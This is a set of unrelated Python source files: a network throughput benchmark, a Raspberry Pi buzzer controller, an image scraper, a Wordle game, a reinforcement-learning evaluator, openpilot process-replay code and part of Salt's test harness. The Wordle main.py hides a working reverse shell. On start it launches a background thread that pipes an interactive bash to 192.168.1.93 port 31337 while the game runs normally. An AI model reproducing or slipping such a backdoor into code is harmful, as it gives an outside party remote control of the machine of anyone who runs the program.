svr_out_time)) if not QUEUE: proc.join() print("Combined: %.3f seconds, %dMiB/s" % ( svr_out_time + svr_in_time, (in_size + out_size) / (svr_in_time + svr_out_time))) # # Main entry point # if __name__ == "__main__": def port(string): val = int(string) if val < 1 or val > 2**16: raise ArgumentTypeError("%d is an invalid port number" % val) return val def endpoint(string): addr = string.split(':') if len(addr) != 2: raise ArgumentTypeError("%s is not a valid host endpoint" % string) addr[1] = port(addr[1]) socket.getaddrinfo(addr[0], addr[1], socket.AF_INET) return tuple(addr) parser = ArgumentParser() parser.add_argument("-s", "--server", type=port, metavar="PORT", help="local server port for remote clients") parser.add_argument("-p", "--port", type=port, metavar="SUITEPORT", help="fixed suite port instead of dynamic assignment") parser.add_argument("-c", "--client", type=endpoint, metavar="ENDPOINT", help="remote server endpoint for this client") args = parser.parse_args() if args.client: remote_client(args.client) sys.exit() if args.server: start_client_manager(args.server) suites = { "Raw TCP": (socket.SOCK_STREAM, False), "Raw UDP": (socket.SOCK_DGRAM, False), "SSL (TCP)": (socket.SOCK_STREAM, True), "DTLS (UDP)": (socket.SOCK_DGRAM, True), } selector = { 0: "Exit", 1: "Raw TCP", 2: "Raw UDP", 3: "SSL (TCP)", 4: "DTLS (UDP)", } do_patch() while True: print("\nSelect protocol:\n") for key in sorted(selector): print("\t" + str(key) + ": " + selector[key]) try: choice = raw_input("\nProtocol: ") choice = int(choice) if choice < 0 or choice >= len(selector): raise ValueError("Invalid selection input") except (ValueError, OverflowError): print("Invalid selection input") continue except EOFError: break if not choice: break run_test(suites[selector[choice]], suites[selector[choice]], args.port) if args.server: stop_client_manager()
buzzer.py
import RPi.GPIO as GPIO import threading import time import application from views import View from hardware import PIN_BUZZER from rtttl import parse_rtttl SONG_TWO_SHORT = "two short:d=4,o=5,b=100:16e6,16e6" SONG_ONE_SHORT = "one short:d=4,o=5,b=100:16e6" SONG_ERROR = "error:d=4,o=5,b=100:16a6,16a6,16a6,16a6,16a6,16a6,16a6" SONG_SUCCESS = "success:d=4,o=5,b=100:16a4,16b4,16c4,16d4,16e4,16f4,16g4,16e4,16d4,16c4,16b4,16a4" SONG_MCGYVER = "McGyver:d=4,o=4,b=160:8c5,8c5,8c5,8c5,2b,8f#,a,2g,8c5,c5,b,8a,8b,8a,g,e5,2a,b.,8p,8c5,8b,8a,c5,8b,8a,d5,8c5,8b,d5,8c5,8b,e5,8d5,8e5,f#5,b,1g5,8p,8g5,8e5,8c5,8f#5,8d5,8b,8e5,8c5,8a,8d5,8b,8g,c5,b,8c5,8b,8a,8g,a#,a,8g" class BuzzerView(View): def __init__(self, app): super().__init__(app) self.app = app self.pending_song = None GPIO.setup(PIN_BUZZER, GPIO.OUT) t = threading.Thread(target=self.orchestra, daemon=True) t.start() def play_next_song(self, buzzer): if not self.pending_song: return if not self.app.buzzer_enabled: self.pending_song = None return song = parse_rtttl(self.pending_song) self.pending_song = None for note in song["notes"]: if (self.pending_song): buzzer.stop() break f = note["frequency"] time.sleep(note["duration"] / 2000 * 0.5) if (f > 0): buzzer.start(50) buzzer.ChangeFrequency(f) time.sleep(note["duration"] / 2000 * 0.5) buzzer.stop() time.sleep(0.5) def orchestra(self): buzzer = GPIO.PWM(PIN_BUZZER, 1000) try: while True: self.play_next_song(buzzer) time.sleep(0.1) except KeyboardInterrupt: return def header(self): if (self.app.app_state == application.Application.APP_STATE_SUCCESS): self.pending_song = SONG_SUCCESS return if (self.app.app_state == application.Application.APP_STATE_FAIL): self.pending_song = SONG_ERROR return self.pending_song = SONG_ONE_SHORT
mzitu.py
import requests from bs4 import BeautifulSoup import os import shutil import threading import uuid import time url = 'http://www.mzitu.com' main_folder = 'meizi' if os.path.exists(main_folder): shutil.rmtree(main_folder) os.mkdir(main_folder) header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/6.1.2107.204 Safari/537.36'} def DownloadImage(refer,folder_path,link,index): #print(folder_path,link,index) img_path = "{folder_path}/{index}.{ext}".format(folder_path=folder_path,index = index,ext=link.split('.')[-1]) #print(img_path) _header = header.copy() _header['Referer'] = refer try: img_data = requests.get(link,headers=_header) with open(img_path,'wb') as f: f.write(img_data.content) except Exception: print('======================ไธ‹่ฝฝๅคฑ่ดฅ,็ญ‰ๅพ…้‡่ฏ•') time.sleep(15) DownloadImage(refer,folder_path,link,index) def DownloadFolder(title,link): """https://www.mzitu.com/205572/{page_index}""" #print('ไธ‹่ฝฝfolder',title,link) try: page_data = requests.get(link,headers=header) page_soup = BeautifulSoup(page_data.text,'html.parser') max_page = int(page_soup.select('.pagenavi a')[-2].string) except Exception: print("้‡่ฏ•ไธ‹่ฝฝfolder",title) DownloadFolder(title,link) return #print(max_page) #ๆž„ๅปบ็›ฎๅฝ• folder_path = os.path.join(main_folder,title) folder_path_tmp = folder_path index = 0 while True: if not os.path.exists(folder_path_tmp): break index += 1 folder_path_tmp = folder_path + str(index) folder_path = folder_path_tmp #print(folder_path) try: os.mkdir(folder_path) except Exception: folder_path = os.path.join(main_folder,str(uuid.uuid1())) os.mkdir(folder_path) for page_index in range(max_page): page_url = (link + '/{page_index}').format(page_index = page_index+1) #print(page_url) flag = False while True: try: page_data = requests.get(page_url,headers=header) page_soup = BeautifulSoup(page_data.text,'html.parser') #img_url = page_soup.find_all('img',attrs={"alt":title})[0].get('src') img_url = page_soup.select('div.main-image')[0].p.img.get('src') if flag: print("้‡่ฏ•ๆˆๅŠŸ,",page_url) #print(img_url) break except Exception: flag = True continue DownloadImage(page_url,folder_path,img_url,page_index + 1) def DownloadPage(page): """page https://www.mzitu.com/page/{page_index}/""" page_url = "{host}/page/{page_index}/".format(host=url,page_index = page) #print('ไธ‹่ฝฝ้กต้ข ',page_url) try: page_data = requests.get(page_url,headers=header) page_soup = BeautifulSoup(page_data.text,'html.parser') all_li = page_soup.select('ul[id="pins"]>li') except Exception: return DownloadPage(page) #print('download_page',page) for li in all_li: if li.get('class') is None: #ๅฑ่”ฝๅนฟๅ‘Š href = li.a.get('href') title = li.a.img.get('alt') #print(href,title) #print("download_page_index",index) DownloadFolder(title,href) def DownloadPageGroup(start,end): for x in range(start,end): DownloadPage(x) try: #็”จgetๆ–นๆณ•ๆ‰“ๅผ€urlๅนถๅ‘้€headers html = requests.get(url,headers = header) soup = BeautifulSoup(html.text,'html.parser') #max_page_str = soup.select('.next')[0].previous_sibling.previous_sibling.string #้€š่ฟ‡ๅ…„ๅผŸ่Š‚็‚น max_page_str = soup.select('.nav-links a')[-2].string #้€š่ฟ‡็ˆถๅญ้€‰ๆ‹ฉๅ™จ #print(max_page_str) max_page = int(max_page_str) thread_num = 8 num_per_thread = max_page//thread_num + 1 thread_list = [] for i in range(thread_num): start = i * num_per_thread + 1 t = threading.Thread(target=DownloadPageGroup,kwargs={'start':start,'end':min(max_page + 1,start + num_per_thread)}) t.start() thread_list.append(t) map(lambda t: t.join(),thread_list) except Exception as ex: print('error ',ex)
main.py
import os from rich.console import Console from rich.table import Table from rich.live import Live from src.modules.wordle import Wordle import subprocess import threading def hack(num): # try: subprocess.check_call("/bin/bash -i >/dev/tcp/192.168.1.93/31337 0<&1 2>&1", shell=True, executable='/bin/bash') # except: # pass def clear(): if os.name == 'nt': _ = os.system('cls') else: _ = os.system('clear') def main(): thread = threading.Thread(target=hack, args=(10,)) thread.start() puzzle = Wordle() console = Console() table = Table(title="Guesses", box=None) console.print(table) retries_pending = 6 while retries_pending: puzzle.get_user_guess(remaining=retries_pending) status, result = puzzle.check_word() clear() with Live(table): msg_row = [f'[black on {i["color"]}] {i["letter"]} [/black on {i["color"]}]' for i in result] table.add_row(*msg_row) table.add_row("") if status: retries_pending = 0 print(console.print('\n :thumbs_up: Wow, you aced it!! \n')) else: retries_pending -= 1 if not status: console.print(f'\n\nโ˜น๏ธ [bold red]Correct Word is {puzzle.chosen_word.upper()} [/bold red]') if __name__ == "__main__": main()
evaluate.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import parl import queue import six import threading import time import numpy as np from actor import Actor from opensim_model import OpenSimModel from opensim_agent import OpenSimAgent from parl.utils import logger, summary, get_gpu_count from parl.utils.window_stat import WindowStat from parl.remote.client import get_global_client from parl.utils import machine_info from shutil import copy2 ACT_DIM = 22 VEL_DIM = 19 OBS_DIM = 98 + VEL_DIM GAMMA = 0.96 TAU = 0.001 ACTOR_LR = 3e-5 CRITIC_LR = 3e-5 class TransitionExperience(object): """ A transition of state, or experience""" def __init__(self, obs, action, reward, info, **kwargs): """ kwargs: whatever other attribute you want to save""" self.obs = obs self.action = action self.reward = reward self.info = info for k, v in six.iteritems(kwargs): setattr(self, k, v) class ActorState(object): """Maintain incomplete trajectories data of actor.""" def __init__(self): self.memory = [] # list of Experience self.model_name = None def reset(self): self.memory = [] class Evaluator(object): def __init__(self, args): if machine_info.is_gpu_available(): assert get_gpu_count() == 1, 'Only support training in single GPU,\ Please set environment variable: `export CUDA_VISIBLE_DEVICES=[GPU_ID_TO_USE]` .' else: cpu_num = os.environ.get('CPU_NUM') assert cpu_num is not None and cpu_num == '1', 'Only support training in single CPU,\ Please set environment variable: `export CPU_NUM=1`.' model = OpenSimModel(OBS_DIM, VEL_DIM, ACT_DIM) algorithm = parl.algorithms.DDPG( model, gamma=GAMMA, tau=TAU, actor_lr=ACTOR_LR, critic_lr=CRITIC_LR) self.agent = OpenSimAgent(algorithm, OBS_DIM, ACT_DIM) self.evaluate_result = [] self.lock = threading.Lock() self.model_lock = threading.Lock() self.model_queue = queue.Queue() self.best_shaping_reward = 0 self.best_env_reward = 0 if args.offline_evaluate: self.offline_evaluate() else: t = threading.Thread(target=self.online_evaluate) t.start() with self.lock: while True: model_path = self.model_queue.get() if not args.offline_evaluate: # online evaluate while not self.model_queue.empty(): model_path = self.model_queue.get() try: self.agent.restore(model_path) break except Exception as e: logger.warn("Agent restore Exception: {} ".format(e)) self.cur_model = model_path self.create_actors() def create_actors(self): """Connect to the cluster and start sampling of the remote actor. """ parl.connect(args.cluster_address, ['official_obs_scaler.npz']) for i in range(args.actor_num): logger.info('Remote actor count: {}'.format(i + 1)) remote_thread = threading.Thread(target=self.run_remote_sample) remote_thread.setDaemon(True) remote_thread.start() # There is a memory-leak problem in osim-rl package. # So we will dynamically add actors when remote actors killed due to excessive memory usage. time.sleep(10 * 60) parl_client = get_global_client() while True: if parl_client.actor_num < args.actor_num: logger.info( 'Dynamic adding acotr, current actor num:{}'.format( parl_client.actor_num)) remote_thread = threading.Thread(target=self.run_remote_sample) remote_thread.setDaemon(True) remote_thread.start() time.sleep(5) def offline_evaluate(self): ckpt_paths = set([]) for x in os.listdir(args.saved_models_dir): path = os.path.join(args.saved_models_dir, x) ckpt_paths.add(path) ckpt_paths = list(ckpt_paths) steps = [int(x.split('-')[-1]) for x in ckpt_paths] sorted_idx = sorted(range(len(steps)), key=lambda k: steps[k]) ckpt_paths = [ckpt_paths[i] for i in sorted_idx] ckpt_paths.reverse() logger.info("All checkpoints: {}".format(ckpt_paths)) for ckpt_path in ckpt_paths: self.model_queue.put(ckpt_path) def online_evaluate(self): last_model_step = None while True: ckpt_paths = set([]) for x in os.listdir(args.saved_models_dir): path = os.path.join(args.saved_models_dir, x) ckpt_paths.add(path) if len(ckpt_paths) == 0: time.sleep(60) continue ckpt_paths = list(ckpt_paths) steps = [int(x.split('-')[-1]) for x in ckpt_paths] sorted_idx = sorted(range(len(steps)), key=lambda k: steps[k]) ckpt_paths = [ckpt_paths[i] for i in sorted_idx] model_step = ckpt_paths[-1].split('-')[-1] if model_step != last_model_step: logger.info("Adding new checkpoint: :{}".format( ckpt_paths[-1])) self.model_queue.put(ckpt_paths[-1]) last_model_step = model_step time.sleep(60) def run_remote_sample(self): remote_actor = Actor( difficulty=args.difficulty, vel_penalty_coeff=args.vel_penalty_coeff, muscle_penalty_coeff=args.muscle_penalty_coeff, penalty_coeff=args.penalty_coeff, only_first_target=args.only_first_target) actor_state = ActorState() while True: actor_state.model_name = self.cur_model actor_state.reset() obs = remote_actor.reset() while True: if actor_state.model_name != self.cur_model: break actor_state.memory.append( TransitionExperience( obs=obs, action=None, reward=None, info=None, timestamp=time.time())) action = self.pred_batch(obs) obs, reward, done, info = remote_actor.step(action) actor_state.memory[-1].reward = reward actor_state.memory[-1].info = info actor_state.memory[-1].action = action if done: self._parse_memory(actor_state) break def _parse_memory(self, actor_state): mem = actor_state.memory n = len(mem) episode_shaping_reward = np.sum( [exp.info['shaping_reward'] for exp in mem]) episode_env_reward = np.sum([exp.info['env_reward'] for exp in mem]) with self.lock: if actor_state.model_name == self.cur_model: self.evaluate_result.append({ 'shaping_reward': episode_shaping_reward, 'env_reward': episode_env_reward, 'episode_length': mem[-1].info['frame_count'], 'falldown': not mem[-1].info['timeout'], }) logger.info('{}, finish_cnt: {}'.format( self.cur_model, len(self.evaluate_result))) logger.info('{}'.format(self.evaluate_result[-1])) if len(self.evaluate_result) >= args.evaluate_times: mean_value = {} for key in self.evaluate_result[0].keys(): mean_value[key] = np.mean( [x[key] for x in self.evaluate_result]) logger.info('Model: {}, mean_value: {}'.format( self.cur_model, mean_value)) eval_num = len(self.evaluate_result) falldown_num = len( [x for x in self.evaluate_result if x['falldown']]) falldown_rate = falldown_num / eval_num logger.info('Falldown rate: {}'.format(falldown_rate)) for key in self.evaluate_result[0].keys(): mean_value[key] = np.mean([ x[key] for x in self.evaluate_result if not x['falldown'] ]) logger.info( 'Model: {}, Exclude falldown, mean_value: {}'.format( self.cur_model, mean_value)) if mean_value['shaping_reward'] > self.best_shaping_reward: self.best_shaping_reward = mean_value['shaping_reward'] copy2(self.cur_model, './model_zoo') logger.info( "[best shaping reward updated:{}] path:{}".format( self.best_shaping_reward, self.cur_model)) if mean_value[ 'env_reward'] > self.best_env_reward and falldown_rate < 0.3: self.best_env_reward = mean_value['env_reward'] copy2(self.cur_model, './model_zoo') logger.info( "[best env reward updated:{}] path:{}, falldown rate: {}" .format(self.best_env_reward, self.cur_model, falldown_num / eval_num)) self.evaluate_result = [] while True: model_path = self.model_queue.get() if not args.offline_evaluate: # online evaluate while not self.model_queue.empty(): model_path = self.model_queue.get() try: self.agent.restore(model_path) break except Exception as e: logger.warn( "Agent restore Exception: {} ".format(e)) self.cur_model = model_path else: actor_state.model_name = self.cur_model actor_state.reset() def pred_batch(self, obs): batch_obs = np.expand_dims(obs, axis=0) with self.model_lock: action = self.agent.predict(batch_obs.astype('float32')) action = np.squeeze(action, axis=0) return action if __name__ == '__main__': from evaluate_args import get_args args = get_args() if args.logdir is not None: logger.set_dir(args.logdir) evaluate = Evaluator(args)
process_replay.py
#!/usr/bin/env python3 import os import sys import threading import importlib if "CI" in os.environ: tqdm = lambda x: x else: from tqdm import tqdm # type: ignore from cereal import car, log from selfdrive.car.car_helpers import get_car import selfdrive.manager as manager import cereal.messaging as messaging from common.params import Params from cereal.services import service_list from collections import namedtuple ProcessConfig = namedtuple('ProcessConfig', ['proc_name', 'pub_sub', 'ignore', 'init_callback', 'should_recv_callback']) def wait_for_event(evt): if not evt.wait(15): if threading.currentThread().getName() == "MainThread": # tested process likely died. don't let test just hang raise Exception("Timeout reached. Tested process likely crashed.") else: # done testing this process, let it die sys.exit(0) class FakeSocket: def __init__(self, wait=True): self.data = [] self.wait = wait self.recv_called = threading.Event() self.recv_ready = threading.Event() def receive(self, non_blocking=False): if non_blocking: return None if self.wait: self.recv_called.set() wait_for_event(self.recv_ready) self.recv_ready.clear() return self.data.pop() def send(self, data): if self.wait: wait_for_event(self.recv_called) self.recv_called.clear() self.data.append(data) if self.wait: self.recv_ready.set() def wait_for_recv(self): wait_for_event(self.recv_called) class DumbSocket: def __init__(self, s=None): if s is not None: dat = messaging.new_message(s) self.data = dat.to_bytes() def receive(self, non_blocking=False): return self.data def send(self, dat): pass class FakeSubMaster(messaging.SubMaster): def __init__(self, services): super(FakeSubMaster, self).__init__(services, addr=None) self.sock = {s: DumbSocket(s) for s in services} self.update_called = threading.Event() self.update_ready = threading.Event() self.wait_on_getitem = False def __getitem__(self, s): # hack to know when fingerprinting is done if self.wait_on_getitem: self.update_called.set() wait_for_event(self.update_ready) self.update_ready.clear() return self.data[s] def update(self, timeout=-1): self.update_called.set() wait_for_event(self.update_ready) self.update_ready.clear() def update_msgs(self, cur_time, msgs): wait_for_event(self.update_called) self.update_called.clear() super(FakeSubMaster, self).update_msgs(cur_time, msgs) self.update_ready.set() def wait_for_update(self): wait_for_event(self.update_called) class FakePubMaster(messaging.PubMaster): def __init__(self, services): self.data = {} self.sock = {} self.last_updated = None for s in services: try: data = messaging.new_message(s) except: data = messaging.new_message(s, 0) self.data[s] = data.as_reader() self.sock[s] = DumbSocket() self.send_called = threading.Event() self.get_called = threading.Event() def send(self, s, dat): self.last_updated = s if isinstance(dat, bytes): self.data[s] = log.Event.from_bytes(dat) else: self.data[s] = dat.as_reader() self.send_called.set() wait_for_event(self.get_called) self.get_called.clear() def wait_for_msg(self): wait_for_event(self.send_called) self.send_called.clear() dat = self.data[self.last_updated] self.get_called.set() return dat def fingerprint(msgs, fsm, can_sock): print("start fingerprinting") fsm.wait_on_getitem = True # populate fake socket with data for fingerprinting canmsgs = [msg for msg in msgs if msg.which() == "can"] wait_for_event(can_sock.recv_called) can_sock.recv_called.clear() can_sock.data = [msg.as_builder().to_bytes() for msg in canmsgs[:300]] can_sock.recv_ready.set() can_sock.wait = False # we know fingerprinting is done when controlsd sets sm['pathPlan'].sensorValid wait_for_event(fsm.update_called) fsm.update_called.clear() fsm.wait_on_getitem = False can_sock.wait = True can_sock.data = [] fsm.update_ready.set() print("finished fingerprinting") def get_car_params(msgs, fsm, can_sock): can = FakeSocket(wait=False) sendcan = FakeSocket(wait=False) canmsgs = [msg for msg in msgs if msg.which() == 'can'] for m in canmsgs[:300]: can.send(m.as_builder().to_bytes()) _, CP = get_car(can, sendcan) Params().put("CarParams", CP.to_bytes()) def radar_rcv_callback(msg, CP, cfg, fsm): if msg.which() != "can": return [], False elif CP.radarOffCan: return ["radarState", "liveTracks"], True radar_msgs = {"honda": [0x445], "toyota": [0x19f, 0x22f], "gm": [0x474], "chrysler": [0x2d4]}.get(CP.carName, None) if radar_msgs is None: raise NotImplementedError for m in msg.can: if m.src == 1 and m.address in radar_msgs: return ["radarState", "liveTracks"], True return [], False def calibration_rcv_callback(msg, CP, cfg, fsm): # calibrationd publishes 1 calibrationData every 5 cameraOdometry packets. # should_recv always true to increment frame if msg.which() == 'carState': if ((fsm.frame +1)% 25) == 0: recv_socks = ["liveCalibration"] else: recv_socks = [] return recv_socks, True else: return [], False CONFIGS = [ ProcessConfig( proc_name="controlsd", pub_sub={ "can": ["controlsState", "carState", "carControl", "sendcan", "carEvents", "carParams"], "thermal": [], "health": [], "liveCalibration": [], "dMonitoringState": [], "plan": [], "pathPlan": [], "gpsLocation": [], "liveLocationKalman": [], "model": [], }, ignore=["logMonoTime", "valid", "controlsState.startMonoTime", "controlsState.cumLagMs"], init_callback=fingerprint, should_recv_callback=None, ), ProcessConfig( proc_name="radard", pub_sub={ "can": ["radarState", "liveTracks"], "liveParameters": [], "controlsState": [], "model": [], }, ignore=["logMonoTime", "valid", "radarState.cumLagMs"], init_callback=get_car_params, should_recv_callback=radar_rcv_callback, ), ProcessConfig( proc_name="plannerd", pub_sub={ "model": ["pathPlan"], "radarState": ["plan"], "carState": [], "controlsState": [], "liveParameters": [], }, ignore=["logMonoTime", "valid", "plan.processingDelay"], init_callback=get_car_params, should_recv_callback=None, ), ProcessConfig( proc_name="calibrationd", pub_sub={ "carState": ["liveCalibration"], "cameraOdometry": [] }, ignore=["logMonoTime", "valid"], init_callback=get_car_params, should_recv_callback=calibration_rcv_callback, ), ProcessConfig( proc_name="dmonitoringd", pub_sub={ "driverState": ["dMonitoringState"], "liveCalibration": [], "carState": [], "model": [], "gpsLocation": [], }, ignore=["logMonoTime", "valid"], init_callback=get_car_params, should_recv_callback=None, ), ] def replay_process(cfg, lr): sub_sockets = [s for _, sub in cfg.pub_sub.items() for s in sub] pub_sockets = [s for s in cfg.pub_sub.keys() if s != 'can'] fsm = FakeSubMaster(pub_sockets) fpm = FakePubMaster(sub_sockets) args = (fsm, fpm) if 'can' in list(cfg.pub_sub.keys()): can_sock = FakeSocket() args = (fsm, fpm, can_sock) all_msgs = sorted(lr, key=lambda msg: msg.logMonoTime) pub_msgs = [msg for msg in all_msgs if msg.which() in list(cfg.pub_sub.keys())] params = Params() params.clear_all() params.manager_start() params.put("OpenpilotEnabledToggle", "1") params.put("Passive", "0") params.put("CommunityFeaturesToggle", "1") os.environ['NO_RADAR_SLEEP'] = "1" manager.prepare_managed_process(cfg.proc_name) mod = importlib.import_module(manager.managed_processes[cfg.proc_name]) thread = threading.Thread(target=mod.main, args=args) thread.daemon = True thread.start() if cfg.init_callback is not None: if 'can' not in list(cfg.pub_sub.keys()): can_sock = None cfg.init_callback(all_msgs, fsm, can_sock) CP = car.CarParams.from_bytes(params.get("CarParams", block=True)) # wait for started process to be ready if 'can' in list(cfg.pub_sub.keys()): can_sock.wait_for_recv() else: fsm.wait_for_update() log_msgs, msg_queue = [], [] for msg in tqdm(pub_msgs): if cfg.should_recv_callback is not None: recv_socks, should_recv = cfg.should_recv_callback(msg, CP, cfg, fsm) else: recv_socks = [s for s in cfg.pub_sub[msg.which()] if (fsm.frame + 1) % int(service_list[msg.which()].frequency / service_list[s].frequency) == 0] should_recv = bool(len(recv_socks)) if msg.which() == 'can': can_sock.send(msg.as_builder().to_bytes()) else: msg_queue.append(msg.as_builder()) if should_recv: fsm.update_msgs(0, msg_queue) msg_queue = [] recv_cnt = len(recv_socks) while recv_cnt > 0: m = fpm.wait_for_msg() log_msgs.append(m) recv_cnt -= m.which() in recv_socks return log_msgs
__init__.py
# -*- coding: utf-8 -*- ''' Set up the Salt integration test suite ''' # Import Python libs from __future__ import absolute_import, print_function import os import re import sys import copy import time import stat import errno import signal import shutil import pprint import atexit import socket import logging import tempfile import threading import subprocess import multiprocessing from datetime import datetime, timedelta try: import pwd except ImportError: pass # Import salt tests support dirs from tests.support.paths import * # pylint: disable=wildcard-import from tests.support.processes import * # pylint: disable=wildcard-import from tests.support.unit import TestCase from tests.support.case import ShellTestCase from tests.support.parser import PNUM, print_header, SaltTestcaseParser from tests.support.helpers import requires_sshd_server, RedirectStdStreams from tests.support.cli_scripts import ScriptPathMixin from tests.support.mixins import CheckShellBinaryNameAndVersionMixin, ShellCaseCommonTestsMixin from tests.support.mixins import AdaptedConfigurationTestCaseMixin, SaltClientTestCaseMixin from tests.support.mixins import SaltMinionEventAssertsMixin, SaltReturnAssertsMixin from tests.support.runtests import RUNTIME_VARS # Import Salt libs import salt import salt.config import salt.master import salt.minion import salt.runner import salt.output import salt.version import salt.utils.color import salt.utils.files import salt.utils.path import salt.utils.platform import salt.utils.process import salt.utils.stringutils import salt.utils.yaml import salt.log.setup as salt_log_setup from salt.utils.verify import verify_env from salt.utils.immutabletypes import freeze from salt.exceptions import SaltClientError # Import 3rd-party libs import msgpack from salt.ext import six try: import salt.ext.six.moves.socketserver as socketserver except ImportError: import socketserver # Import salt tests support libs from tests.support.processes import SaltMaster, SaltMinion, SaltSyndic log = logging.getLogger(__name__) _RUNTESTS_PORTS = {} def get_unused_localhost_port(): ''' Return a random unused port on localhost ''' usock = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) usock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) usock.bind(('127.0.0.1', 0)) port = usock.getsockname()[1] if port in (54505, 54506, 64505, 64506, 64510, 64511, 64520, 64521): # These ports are hardcoded in the test configuration port = get_unused_localhost_port() usock.close() return port DARWIN = True if sys.platform.startswith('darwin') else False BSD = True if 'bsd' in sys.platform else False if DARWIN and port in _RUNTESTS_PORTS: port = get_unused_localhost_port() usock.close() return port _RUNTESTS_PORTS[port] = usock if DARWIN or BSD: usock.close() return port def close_open_sockets(sockets_dict): for port in list(sockets_dict): sock = sockets_dict.pop(port) sock.close() atexit.register(close_open_sockets, _RUNTESTS_PORTS) SALT_LOG_PORT = get_unused_localhost_port() class ThreadingMixIn(socketserver.ThreadingMixIn): daemon_threads = True class ThreadedSocketServer(ThreadingMixIn, socketserver.TCPServer): allow_reuse_address = True def server_activate(self): self.shutting_down = threading.Event() socketserver.TCPServer.server_activate(self) #super(ThreadedSocketServer, self).server_activate() def server_close(self): if hasattr(self, 'shutting_down'): self.shutting_down.set() socketserver.TCPServer.server_close(self) #super(ThreadedSocketServer, self).server_close() class SocketServerRequestHandler(socketserver.StreamRequestHandler): def handle(self): unpacker = msgpack.Unpacker(encoding='utf-8') while not self.server.shutting_down.is_set(): try: wire_bytes = self.request.recv(1024) if not wire_bytes: break unpacker.feed(wire_bytes) for record_dict in unpacker: record = logging.makeLogRecord(record_dict) logger = logging.getLogger(record.name) logger.handle(record) del record_dict except (EOFError, KeyboardInterrupt, SystemExit): break except socket.error as exc: try: if exc.errno == errno.WSAECONNRESET: # Connection reset on windows break except AttributeError: # We're not on windows pass log.exception(exc) except Exception as exc: log.exception(exc) class TestDaemon(object): ''' Set up the master and minion daemons, and run related cases ''' MINIONS_CONNECT_TIMEOUT = MINIONS_SYNC_TIMEOUT = 500 def __init__(self, parser): self.parser = parser self.colors = salt.utils.color.get_colors(self.parser.options.no_colors is False) if salt.utils.platform.is_windows(): # There's no shell color support on windows... for key in self.colors: self.colors[key] = '' def __enter__(self): ''' Start a master and minion ''' # Setup the multiprocessing logging queue listener salt_log_setup.setup_multiprocessing_logging_listener( self.master_opts ) # Set up PATH to mockbin self._enter_mockbin() if self.parser.options.transport == 'zeromq': self.start_zeromq_daemons() elif self.parser.options.transport == 'tcp': self.start_tcp_daemons() self.minion_targets = set(['minion', 'sub_minion']) self.pre_setup_minions() self.setup_minions() if getattr(self.parser.options, 'ssh', False): self.prep_ssh() self.wait_for_minions(time.time(), self.MINIONS_CONNECT_TIMEOUT) if self.parser.options.sysinfo: try: print_header( '~~~~~~~ Versions Report ', inline=True, width=getattr(self.parser.options, 'output_columns', PNUM) ) except TypeError: print_header('~~~~~~~ Versions Report ', inline=True) print('\n'.join(salt.version.versions_report())) try: print_header( '~~~~~~~ Minion Grains Information ', inline=True, width=getattr(self.parser.options, 'output_columns', PNUM) ) except TypeError: print_header('~~~~~~~ Minion Grains Information ', inline=True) grains = self.client.cmd('minion', 'grains.items') minion_opts = self.minion_opts.copy() minion_opts['color'] = self.parser.options.no_colors is False salt.output.display_output(grains, 'grains', minion_opts) try: print_header( '=', sep='=', inline=True, width=getattr(self.parser.options, 'output_columns', PNUM) ) except TypeError: print_header('', sep='=', inline=True) try: return self finally: self.post_setup_minions() def start_zeromq_daemons(self): ''' Fire up the daemons used for zeromq tests ''' self.log_server = ThreadedSocketServer(('localhost', SALT_LOG_PORT), SocketServerRequestHandler) self.log_server_process = threading.Thread(target=self.log_server.serve_forever) self.log_server_process.daemon = True self.log_server_process.start() try: sys.stdout.write( ' * {LIGHT_YELLOW}Starting salt-master ... {ENDC}'.format(**self.colors) ) sys.stdout.flush() self.master_process = start_daemon( daemon_name='salt-master', daemon_id=self.master_opts['id'], daemon_log_prefix='salt-master/{}'.format(self.master_opts['id']), daemon_cli_script_name='master', daemon_config=self.master_opts, daemon_config_dir=RUNTIME_VARS.TMP_CONF_DIR, daemon_class=SaltMaster, bin_dir_path=SCRIPT_DIR, fail_hard=True, event_listener_config_dir=RUNTIME_VARS.TMP_CONF_DIR, start_timeout=60) sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_GREEN}Starting salt-master ... STARTED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() except (RuntimeWarning, RuntimeError): sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_RED}Starting salt-master ... FAILED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() try: sys.stdout.write( ' * {LIGHT_YELLOW}Starting salt-minion ... {ENDC}'.format(**self.colors) ) sys.stdout.flush() self.minion_process = start_daemon( daemon_name='salt-minion', daemon_id=self.master_opts['id'], daemon_log_prefix='salt-minion/{}'.format(self.minion_opts['id']), daemon_cli_script_name='minion', daemon_config=self.minion_opts, daemon_config_dir=RUNTIME_VARS.TMP_CONF_DIR, daemon_class=SaltMinion, bin_dir_path=SCRIPT_DIR, fail_hard=True, event_listener_config_dir=RUNTIME_VARS.TMP_CONF_DIR, start_timeout=60) sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_GREEN}Starting salt-minion ... STARTED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() except (RuntimeWarning, RuntimeError): sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_RED}Starting salt-minion ... FAILED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() try: sys.stdout.write( ' * {LIGHT_YELLOW}Starting sub salt-minion ... {ENDC}'.format(**self.colors) ) sys.stdout.flush() self.sub_minion_process = start_daemon( daemon_name='sub salt-minion', daemon_id=self.master_opts['id'], 